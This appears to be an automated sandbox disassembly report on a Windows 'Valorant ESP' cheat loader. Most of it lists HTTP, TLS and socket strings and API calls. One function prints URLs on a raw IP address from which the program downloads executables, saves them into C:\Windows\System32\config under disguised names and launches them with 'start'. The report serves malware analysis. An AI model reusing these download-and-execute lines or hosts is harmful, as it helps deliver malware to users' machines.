Host: %s%s%s, xrefs: 00007FF747D6073D
ftp, xrefs: 00007FF747D60889
Host, xrefs: 00007FF747D605C9
1.1, xrefs: 00007FF747D60C0E
Failed sending PUT request, xrefs: 00007FF747D61349
upload completely sent off: %I64d out of %I64d bytes, xrefs: 00007FF747D61A7E
%s , xrefs: 00007FF747D60C33
PUT, xrefs: 00007FF747D60018
HEAD, xrefs: 00007FF747D5FFE1
Referer, xrefs: 00007FF747D60233
Last-Modified, xrefs: 00007FF747D6115B
Expect:, xrefs: 00007FF747D61495, 00007FF747D6170A
%s: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 00007FF747D611F4
Content-Range, xrefs: 00007FF747D60B4E
Accept: */*, xrefs: 00007FF747D60985
If-Modified-Since, xrefs: 00007FF747D6116D
Range, xrefs: 00007FF747D609D2
100-continue, xrefs: 00007FF747D61516, 00007FF747D61796
Cookie, xrefs: 00007FF747D602A2
Proxy-Connection, xrefs: 00007FF747D60D73
%s%s=%s, xrefs: 00007FF747D61029
Content-Type: application/x-www-form-urlencoded, xrefs: 00007FF747D616D1
Content-Length, xrefs: 00007FF747D612B4, 00007FF747D61409, 00007FF747D6168E
Referer: %s, xrefs: 00007FF747D6024E
%s%s, xrefs: 00007FF747D610B0
Content-Length: %I64d, xrefs: 00007FF747D612CB, 00007FF747D61420, 00007FF747D616A5
0, xrefs: 00007FF747D618C6, 00007FF747D619C5
Host:%s, xrefs: 00007FF747D606C6
Content-Range: bytes 0-%I64d/%I64d, xrefs: 00007FF747D60B84
OPTIONS, xrefs: 00007FF747D6000B
Content-Length: 0, xrefs: 00007FF747D61370
%s HTTP/%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 00007FF747D60EDB
User-Agent, xrefs: 00007FF747D6003D
Failed sending POST request, xrefs: 00007FF747D613A9, 00007FF747D615ED
Accept, xrefs: 00007FF747D60973
chunked, xrefs: 00007FF747D604D6
Failed sending HTTP request, xrefs: 00007FF747D61646
GET, xrefs: 00007FF747D60032
multipart/form-data, xrefs: 00007FF747D603CA
POST, xrefs: 00007FF747D60025
1.0, xrefs: 00007FF747D60C00
Could not seek stream, xrefs: 00007FF747D60A68
File already completely uploaded, xrefs: 00007FF747D60B09
ftp://%s:%s@%s, xrefs: 00007FF747D60CCB
?%s, xrefs: 00007FF747D60D0B
Chunky upload is not supported by HTTP 1.0, xrefs: 00007FF747D6059C
;type=, xrefs: 00007FF747D608AE
Transfer-Encoding: chunked, xrefs: 00007FF747D6058F
Proxy-Connection: Keep-Alive, xrefs: 00007FF747D60D9F, 00007FF747D60DB4
Host: %s%s%s:%d, xrefs: 00007FF747D60782
Content-Range: bytes %s%I64d/%I64d, xrefs: 00007FF747D60BA8
Accept-Encoding: %s, xrefs: 00007FF747D602F2
Expect, xrefs: 00007FF747D61474, 00007FF747D616E9
Transfer-Encoding, xrefs: 00007FF747D6042D
%x, xrefs: 00007FF747D61875
http, xrefs: 00007FF747D6081B
;type=%c, xrefs: 00007FF747D60921
If-Unmodified-Since, xrefs: 00007FF747D61164
Content-Type, xrefs: 00007FF747D60387, 00007FF747D616BD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$strchr$_strdup$callocmemcpystrstr
String ID: %s$%s $%s HTTP/%s%s%s%s%s%s%s%s%s%s%s%s%s$%s%s$%s%s=%s$%s: %s, %02d %s %4d %02d:%02d:%02d GMT$%s?%s$%x$0$1.0$1.1$100-continue$;type=$;type=%c$?%s$Accept$Accept-Encoding$Accept-Encoding: %s$Accept: */*$Chunky upload is not supported by HTTP 1.0$Content-Length$Content-Length: %I64d$Content-Length: 0$Content-Range$Content-Range: bytes %s%I64d/%I64d$Content-Range: bytes %s/%I64d$Content-Range: bytes 0-%I64d/%I64d$Content-Type$Content-Type: application/x-www-form-urlencoded$Cookie$Cookie: $Could not seek stream$Could only read %I64d bytes from the input$Expect$Expect:$Failed sending HTTP POST request$Failed sending HTTP request$Failed sending POST request$Failed sending PUT request$File already completely uploaded$GET$HEAD$Host$Host:$Host: %s%s%s$Host: %s%s%s:%d$Host:%s$If-Modified-Since$If-Unmodified-Since$Invalid TIMEVALUE$Last-Modified$OPTIONS$POST$PUT$Proxy-Connection$Proxy-Connection: Keep-Alive$Range$Range: bytes=%s$Referer$Referer: %s$Transfer-Encoding$Transfer-Encoding:$Transfer-Encoding: chunked$User-Agent$chunked$ftp$ftp://%s:%s@%s$http$multipart/form-data$upload completely sent off: %I64d out of %I64d bytes
API String ID: 2045874074-4264080130
Opcode ID: 7e8127e7a02895129b677bbc6e0c7dd064ef2c4a8580cb0e4b3f39011db1f550
Instruction ID: 13d20f263b805ab5098cfeab3a6c3d4ee820bea89adc7bad905033b5e4ac0276
Opcode Fuzzy Hash: 7e8127e7a02895129b677bbc6e0c7dd064ef2c4a8580cb0e4b3f39011db1f550
Instruction Fuzzy Hash: A003CF61A2CA82C2FB54BB2594407B9A7A1BF45B88FC48631CE0D57795EF3DE447CB20

Function 00007FF747D41E40 Relevance: 124.5, APIs: 58, Strings: 13, Instructions: 288
processsleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF747D8FB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF747D343FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D8FB32

_beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D41EA4
_Thrd_detach.MSVCP140 ref: 00007FF747D41ED3
GetStdHandle.KERNEL32 ref: 00007FF747D41EEE
GetConsoleMode.KERNELBASE ref: 00007FF747D41EFF
SetConsoleMode.KERNELBASE ref: 00007FF747D41F12
GetStdHandle.KERNEL32 ref: 00007FF747D41F1D
GetConsoleScreenBufferInfoEx.KERNELBASE ref: 00007FF747D41F34
SetConsoleScreenBufferInfoEx.KERNELBASE ref: 00007FF747D41F59
GetConsoleMode.KERNELBASE ref: 00007FF747D41F67
SetConsoleMode.KERNELBASE ref: 00007FF747D41F7B
GetConsoleWindow.KERNELBASE ref: 00007FF747D41F81
GetWindowLongA.USER32 ref: 00007FF747D41F92
SetWindowLongA.USER32 ref: 00007FF747D41FA8
GetConsoleWindow.KERNELBASE ref: 00007FF747D41FAE
GetWindowRect.USER32 ref: 00007FF747D41FBF
MoveWindow.USER32 ref: 00007FF747D41FE7
GetStdHandle.KERNEL32 ref: 00007FF747D41FF2
SetConsoleTextAttribute.KERNELBASE ref: 00007FF747D42000
GetStdHandle.KERNEL32 ref: 00007FF747D42017
SetConsoleTextAttribute.KERNELBASE ref: 00007FF747D42025
GetStdHandle.KERNEL32 ref: 00007FF747D42048
SetConsoleTextAttribute.KERNELBASE ref: 00007FF747D42056
GetStdHandle.KERNEL32 ref: 00007FF747D4206D
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D4207B

Part of subcall function 00007FF747D42380: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D423A4
Part of subcall function 00007FF747D42380: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D423C5

GetStdHandle.KERNEL32 ref: 00007FF747D42092
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D420A0
GetStdHandle.KERNEL32 ref: 00007FF747D420B7
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D420C5
GetStdHandle.KERNEL32 ref: 00007FF747D420DC
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D420EA
GetStdHandle.KERNEL32 ref: 00007FF747D42101
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D4210F
GetStdHandle.KERNEL32 ref: 00007FF747D42132
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D42140
GetStdHandle.KERNEL32 ref: 00007FF747D42157
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D42165
GetStdHandle.KERNEL32 ref: 00007FF747D4217C
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D4218A
GetStdHandle.KERNEL32 ref: 00007FF747D421AD
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D421BB
GetStdHandle.KERNEL32 ref: 00007FF747D421D2
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D421E0
GetStdHandle.KERNEL32 ref: 00007FF747D421F7
SetConsoleTextAttribute.KERNEL32 ref: 00007FF747D42205
??5?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@AEAH@Z.MSVCP140 ref: 00007FF747D42223
URLDownloadToFileA.URLMON ref: 00007FF747D4227A
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42286
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42293
Sleep.KERNEL32 ref: 00007FF747D4229E
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D422A6
URLDownloadToFileA.URLMON ref: 00007FF747D422FA
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42306
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42313
Sleep.KERNEL32 ref: 00007FF747D4231E
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42326
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42334
?_Throw_Cpp_error@std@@YAXH@Z.MSVCP140 ref: 00007FF747D42363
?_Throw_Cpp_error@std@@YAXH@Z.MSVCP140 ref: 00007FF747D42372

Strings

start C:\Windows\System32\config\SeieHuSttinstialog.exe, xrefs: 00007FF747D4228C
http://167.114.85.75/esphvcioffbronkzatualizadoh96.exe, xrefs: 00007FF747D42232
start C:\Windows\System32\config\SeuetingsHostialog.exe, xrefs: 00007FF747D4230C
cd C:\, xrefs: 00007FF747D4227F, 00007FF747D422FF
Iniciar Valorant ESP (HVCI DESLIGADO): , xrefs: 00007FF747D42115
##########################################################, xrefs: 00007FF747D42081
C:\Windows\System32\config\SeuetingsHostialog.exe, xrefs: 00007FF747D422C4
Iniciar Valorant ESP (HVCI HABILITADO): , xrefs: 00007FF747D42190
Selecione a opcao: , xrefs: 00007FF747D4220B
[ Selecione uma opcao: ], xrefs: 00007FF747D4205C
C:\Windows\System32\config\SeieHuSttinstialog.exe, xrefs: 00007FF747D42243
##########################################################, xrefs: 00007FF747D42037
http://167.114.85.75/esphvcionattprivatestore655.exe, xrefs: 00007FF747D422B2

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: Console$Handle$AttributeText$Window$Modesystem$BufferCpp_error@std@@DownloadFileInfoLongScreenSleepThrow_exit$??5?$basic_istream@D@std@@@std@@MoveRectThrd_detachU?$char_traits@V01@__acrt_iob_func__stdio_common_vfprintf_beginthreadexmallocterminate
String ID: Iniciar Valorant ESP (HVCI DESLIGADO): $ Iniciar Valorant ESP (HVCI HABILITADO): $ Selecione a opcao: $##########################################################$##########################################################$C:\Windows\System32\config\SeieHuSttinstialog.exe$C:\Windows\System32\config\SeuetingsHostialog.exe$[ Selecione uma opcao: ]$cd C:\$http://167.114.85.75/esphvcioffbronkzatualizadoh96.exe$http://167.114.85.75/esphvcionattprivatestore655.exe$start C:\Windows\System32\config\SeieHuSttinstialog.exe$start C:\Windows\System32\config\SeuetingsHostialog.exe
API String ID: 3379756739-2736027526
Opcode ID: 4201f20fcbc613c3a25c9e45001c0515494a8c96dff99f52676f0358d3005906
Instruction ID: ea11c305a32d962ea398c1ada0266a7d1b9837fdb0517533da99c62686b9cb47
Opcode Fuzzy Hash: 4201f20fcbc613c3a25c9e45001c0515494a8c96dff99f52676f0358d3005906
Instruction Fuzzy Hash: A4D15D61A2DA03C2EB04BF60EA151B9B361FF86754F800335E95E076A5DF3CF54A8B60

Function 00007FF747D6A84D Relevance: 116.1, APIs: 43, Strings: 23, Instructions: 552stringCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D6A9A8
strchr.VCRUNTIME140 ref: 00007FF747D6A9D4
strchr.VCRUNTIME140 ref: 00007FF747D6AA0E
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D6AA32
strchr.VCRUNTIME140 ref: 00007FF747D6AB42
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D6AB5A

Strings

schannel: ALPN, offering %s, xrefs: 00007FF747D6B085
http/1.1, xrefs: 00007FF747D6B077
schannel: unable to allocate memory, xrefs: 00007FF747D6AECC, 00007FF747D6B157
schannel: AcquireCredentialsHandle failed: %s, xrefs: 00007FF747D6AFC5
schannel: Failed to get certificate from file %s, last error is 0x%x, xrefs: 00007FF747D6AE5F
Unable to set ciphers to passed via SSL_CONN_CONFIG, xrefs: 00007FF747D6AA47
CurrentUserGroupPolicy, xrefs: 00007FF747D6AADD
schannel: Failed to get certificate location or file for %s, xrefs: 00007FF747D6AF32
Services, xrefs: 00007FF747D6AAA7
schannel: using IP address, SNI is not supported by OS., xrefs: 00007FF747D6B043
schannel: Failed to read cert file %s, xrefs: 00007FF747D6AF09
LocalMachineGroupPolicy, xrefs: 00007FF747D6AAFC
schannel: Failed to import cert file %s, last error is 0x%x, xrefs: 00007FF747D6AE14
LocalMachineEnterprise, xrefs: 00007FF747D6AB1B
schannel: TLS 1.3 is not yet supported, xrefs: 00007FF747D6A8DB
Microsoft Unified Security Protocol Provider, xrefs: 00007FF747D6AF4F
CurrentUser, xrefs: 00007FF747D6AA22
http/1.1, xrefs: 00007FF747D6B063
schannel: Failed to open cert store %x %s, last error is 0x%x, xrefs: 00007FF747D6ABC0
schannel: Failed to import cert file %s, password is bad, xrefs: 00007FF747D6ADE9
LocalMachine, xrefs: 00007FF747D6AA63
CurrentService, xrefs: 00007FF747D6AA85
Users, xrefs: 00007FF747D6AAC6

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_strdupstrncmpstrtol
String ID: CurrentService$CurrentUser$CurrentUserGroupPolicy$LocalMachine$LocalMachineEnterprise$LocalMachineGroupPolicy$Microsoft Unified Security Protocol Provider$Services$Unable to set ciphers to passed via SSL_CONN_CONFIG$Users$http/1.1$http/1.1$schannel: ALPN, offering %s$schannel: AcquireCredentialsHandle failed: %s$schannel: Failed to get certificate from file %s, last error is 0x%x$schannel: Failed to get certificate location or file for %s$schannel: Failed to import cert file %s, last error is 0x%x$schannel: Failed to import cert file %s, password is bad$schannel: Failed to open cert store %x %s, last error is 0x%x$schannel: Failed to read cert file %s$schannel: TLS 1.3 is not yet supported$schannel: unable to allocate memory$schannel: using IP address, SNI is not supported by OS.
API String ID: 707411602-3372543188
Opcode ID: 09f11b705b111533f350ffdec44febe4a985be7e643573be8f285361bd15042f
Instruction ID: a8f49aa807aa8ba38301b00843c8532918c11940d2a0e3df5ac615e0d58f2ba2
Opcode Fuzzy Hash: 09f11b705b111533f350ffdec44febe4a985be7e643573be8f285361bd15042f
Instruction Fuzzy Hash: 6C42A261A2CB42C2EB64BF15D8506B9A7A0FF85B94FD08235CA9D07794DF3CE546CB20

Function 00007FF747D59290 Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 191
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 00007FF747D592B8
WSACleanup.WS2_32 ref: 00007FF747D592D3
GetModuleHandleA.KERNEL32 ref: 00007FF747D59324
GetProcAddress.KERNEL32 ref: 00007FF747D59350
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5936A
LoadLibraryA.KERNEL32 ref: 00007FF747D5938D
GetProcAddress.KERNEL32 ref: 00007FF747D593AA
LoadLibraryExA.KERNELBASE ref: 00007FF747D593C0
GetSystemDirectoryA.KERNEL32 ref: 00007FF747D593D6
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D593EE
GetSystemDirectoryA.KERNEL32 ref: 00007FF747D59402
LoadLibraryA.KERNEL32 ref: 00007FF747D59470
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5947C
GetProcAddress.KERNEL32 ref: 00007FF747D594A8
VerSetConditionMask.KERNEL32 ref: 00007FF747D59531
VerSetConditionMask.KERNEL32 ref: 00007FF747D59544
VerSetConditionMask.KERNEL32 ref: 00007FF747D59553
VerSetConditionMask.KERNEL32 ref: 00007FF747D59562
VerSetConditionMask.KERNEL32 ref: 00007FF747D59572
VerifyVersionInfoA.KERNEL32 ref: 00007FF747D59583
QueryPerformanceFrequency.KERNEL32 ref: 00007FF747D5959F

Strings

kernel32, xrefs: 00007FF747D5930B
if_nametoindex, xrefs: 00007FF747D5949E
LoadLibraryExA, xrefs: 00007FF747D5933E
AddDllDirectory, xrefs: 00007FF747D593A0
iphlpapi.dll, xrefs: 00007FF747D59356

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ConditionMask$AddressLibraryLoadProc$DirectorySystem$CleanupFrequencyHandleInfoModulePerformanceQueryStartupVerifyVersionfreemallocstrpbrk
String ID: AddDllDirectory$LoadLibraryExA$if_nametoindex$iphlpapi.dll$kernel32
API String ID: 2612373469-2794540096
Opcode ID: d5f8afb19f8e867eb35e557aec29fe9135a7589b51aca80395dda82625a2e322
Instruction ID: c09f73c1768c9afd46a8a6c09cc5a51765b9615dab8a2ad12ef1e206d7b71ee5
Opcode Fuzzy Hash: d5f8afb19f8e867eb35e557aec29fe9135a7589b51aca80395dda82625a2e322
Instruction Fuzzy Hash: 9A914361A2D782C2E760BF51A9443B9B391FF89B84FC94335D94E06758EF3CE4468B20

Function 00007FF747D585D0 Relevance: 38.9, APIs: 15, Strings: 7, Instructions: 357
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140 ref: 00007FF747D5866C
socket.WS2_32 ref: 00007FF747D586B5
htons.WS2_32 ref: 00007FF747D58741
setsockopt.WS2_32 ref: 00007FF747D587A3
WSAGetLastError.WS2_32 ref: 00007FF747D587AD
getsockopt.WS2_32 ref: 00007FF747D5884F
setsockopt.WS2_32 ref: 00007FF747D5887E
setsockopt.WS2_32 ref: 00007FF747D588BD
WSAIoctl.WS2_32 ref: 00007FF747D5894A
WSAGetLastError.WS2_32 ref: 00007FF747D58954

Part of subcall function 00007FF747D655A0: ioctlsocket.WS2_32 ref: 00007FF747D655B9

Part of subcall function 00007FF747D5E0C0: QueryPerformanceCounter.KERNEL32(?,?,00000000,00007FF747D4613F), ref: 00007FF747D5E0D7

connect.WS2_32 ref: 00007FF747D58A7B
WSAGetLastError.WS2_32 ref: 00007FF747D58A98

Part of subcall function 00007FF747D42E10: GetLastError.KERNEL32 ref: 00007FF747D42E32
Part of subcall function 00007FF747D42E10: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42E3A

Part of subcall function 00007FF747D56400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D56525
Part of subcall function 00007FF747D56400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D56540

Part of subcall function 00007FF747D56EE0: closesocket.WS2_32 ref: 00007FF747D56F23

Strings

Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 00007FF747D5895D
Trying %s:%ld..., xrefs: 00007FF747D5874F
Failed to set SO_KEEPALIVE on fd %d, xrefs: 00007FF747D588CA
@, xrefs: 00007FF747D587E7
Immediate connect fail for %s: %s, xrefs: 00007FF747D58AC8
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 00007FF747D58B3E
Could not set TCP_NODELAY: %s, xrefs: 00007FF747D587CA

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast$setsockopt$fwrite$CounterIoctlPerformanceQuery_errnoclosesocketconnectgetsockopthtonsioctlsocketmemcpysocket
String ID: Trying %s:%ld...$ @$Could not set TCP_NODELAY: %s$Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d$Immediate connect fail for %s: %s$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 3453287622-3868455274
Opcode ID: fe3d70b4b222225ae1404a84adae3a782ffdc59e17204ca3db21be48051b65a4
Instruction ID: 09e4cc74a0d0d6f01ad0fe121381872f2fdfa73f00ba9e452dba3d4e1be421f5
Opcode Fuzzy Hash: fe3d70b4b222225ae1404a84adae3a782ffdc59e17204ca3db21be48051b65a4
Instruction Fuzzy Hash: C6F1BE71A2C282C7E750BB25D4442B9A7A1FB85B88FC14635EA4E47B94DF3CE546CF20

Function 00007FF747D65370 Relevance: 24.1, APIs: 16, Instructions: 127
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 00007FF747D653B1
htonl.WS2_32 ref: 00007FF747D653DE
setsockopt.WS2_32 ref: 00007FF747D65415
bind.WS2_32 ref: 00007FF747D65430
getsockname.WS2_32 ref: 00007FF747D6544C
listen.WS2_32 ref: 00007FF747D65461
socket.WS2_32 ref: 00007FF747D65478
connect.WS2_32 ref: 00007FF747D65497
accept.WS2_32 ref: 00007FF747D654AE
send.WS2_32 ref: 00007FF747D654FC
recv.WS2_32 ref: 00007FF747D6551A
memcmp.VCRUNTIME140 ref: 00007FF747D65535
closesocket.WS2_32 ref: 00007FF747D65541

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: socket$acceptbindclosesocketconnectgetsocknamehtonllistenmemcmprecvsendsetsockopt
String ID:
API String ID: 3699910901-0
Opcode ID: bd23299a83aadd02f23714b29ccd78fc92ed2d7b1aeddd9ecbc35c72079cd919
Instruction ID: 290455746294764a78b5ecaff95a8d2fdfd6f2978e172571fdcb410bdea3953d
Opcode Fuzzy Hash: bd23299a83aadd02f23714b29ccd78fc92ed2d7b1aeddd9ecbc35c72079cd919
Instruction Fuzzy Hash: 4851807162CA42C2DB50BF25E554169B361EB55BB4F904330EA7E436E8DF3CE48ACB10

Function 00007FF747D57290 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

connect to %s port %ld failed: %s, xrefs: 00007FF747D5750D
After %I64dms connect time, move on!, xrefs: 00007FF747D57455
Connection failed, xrefs: 00007FF747D57676
Connection time-out, xrefs: 00007FF747D57379
Failed to connect to %s port %ld: %s, xrefs: 00007FF747D577BE

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: After %I64dms connect time, move on!$Connection failed$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 0-3307081561
Opcode ID: b30f1199c9f24c2381f2513be2d15fd311bda2ea00e714d4c7e6b8ad89958746
Instruction ID: 74b1ce606fba5826785c05586f8d4e19862c96323d32ccd50bbf443594425365
Opcode Fuzzy Hash: b30f1199c9f24c2381f2513be2d15fd311bda2ea00e714d4c7e6b8ad89958746
Instruction Fuzzy Hash: CEE1DC62A2C682C2EB54BB2495446B9A7A5FB89BA4FD10335DA5D077C1DF3CE442CB10

Function 00007FF747D41AA0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 195COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D408F0: memcpy.VCRUNTIME140(?,0000006E00000006,?,FFFFFFFF,00007FF747D311FA), ref: 00007FF747D40928

SleepEx.KERNELBASE ref: 00007FF747D41C5F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D41CD3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D41D14
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D41D4C

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789, xrefs: 00007FF747D41AF9
PRIVATE STORE - , xrefs: 00007FF747D41C7B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
